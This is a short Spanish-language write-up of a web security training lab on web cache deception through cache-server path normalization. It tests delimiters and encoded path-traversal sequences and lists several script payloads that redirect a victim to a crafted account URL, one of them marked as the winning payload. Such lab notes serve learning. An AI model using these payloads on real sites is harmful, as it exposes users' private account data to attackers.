🍺Laboratorio: Explotación de la normalización del servidor de caché para el engaño de la caché web

Lo primero es definir el delimitador que acepta el servidor de origen y rechaza la caché →

/my-accountAQUIVAELDELIMITADOR%2f%2e%2e%2f%2e%2e%2fstatic

Y usamos el cheet sheet de delimitadores que nos entregó burp.

El que nos devuelva un 200 ok significa que el servidor de origen está resolviendo exitosamente el delimitador y está entregando el contenidor del directorio dinámico, significa que el servidor de caché estaría resolviendo para mostrar el contenido del directorio estatico.

Por descarte usaré primero # los otros 2 son lo mismo solo que encodeados a url.

/my-account#%2f%2e%2e%2f%2e%2e%2fstatic

Payload o exploit para poner en el server exploit →

? → %3f

# → %23

Aqui hay algo interesante y es que para poder resolver el laboratorio no bastó con que el delimitador fuera # o ?, tocaba probar de igual forma el ? o el # encodeados a URL para también descartar y así fue como encontré que el # no funcionaba de por si cuando el server caché normalizaba la ruta url pero si funcionó cuando el # estaba encodeado a %23 y que además en este caso use un directorio random generado como si fuera el directorio estatico aunque de cualquiera de las dos o ultimas formas servían (los directorios estaticos), payloads:

<script>document.location="https://0abb00130307897c82e81fda0097001e.web-security-academy.net/my-account?%2f%2e%2e%2f%2e%2e%2fstatic"</script>
<script>document.location="https://0abb00130307897c82e81fda0097001e.web-security-academy.net/my-account#%2f%2e%2e%2f%2e%2e%2fstatic"</script>
<script>document.location="https://0abb00130307897c82e81fda0097001e.web-security-academy.net/my-account%3f%2f%2e%2e%2f%2e%2e%2fresources/js/tracking.js/static"</script>
Payload ganador: <script>document.location="https://0abb00130307897c82e81fda0097001e.web-security-academy.net/my-account%23%2f%2e%2e%2f%2e%2e%2fresources/js/tracking.js/static"</script>
  • dgaFEz32QTHijx0FZSQkq3Up7ASPm8Z9

Last updated